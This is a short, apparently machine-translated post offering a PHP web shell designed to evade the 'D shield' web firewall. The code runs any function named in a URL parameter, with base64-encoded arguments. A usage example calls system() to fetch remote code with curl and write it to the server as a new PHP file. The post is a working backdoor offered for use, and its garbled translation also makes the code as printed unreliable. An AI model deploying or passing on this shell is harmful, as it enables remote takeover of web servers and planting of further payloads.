[Script programming] over solutions, D shield various shield shell

Dean

<?PHP//over solutions, D shield various shield shells$id = $_get['ID'];//Debugecho $catid = Isset ($_get['CATID'])? Base64_decode ($_get['CATID']):"'; $s="';foreach(Array ($id) as$v) {$s.=$v;} Ob_start ($s);if($catid) {echo $catid;} Ob_end_flush ();?>

Use method

Parameter ID: The function to be executed
Parameter catid: parameter of function (need to turn with Base_64encode function)

For example:

http://www.php0.net/test.php?id=system&catid=Y3VybCBodHRwOi8vbG9jYWxob3N0L20udHh0ID4yLnBocA==

The system function is called, and the parameter content is: Curl Http://localhost/m.txt >2.php

Reads the remote code and writes to the Local.

[Script programming] over solutions, D shield various shield shell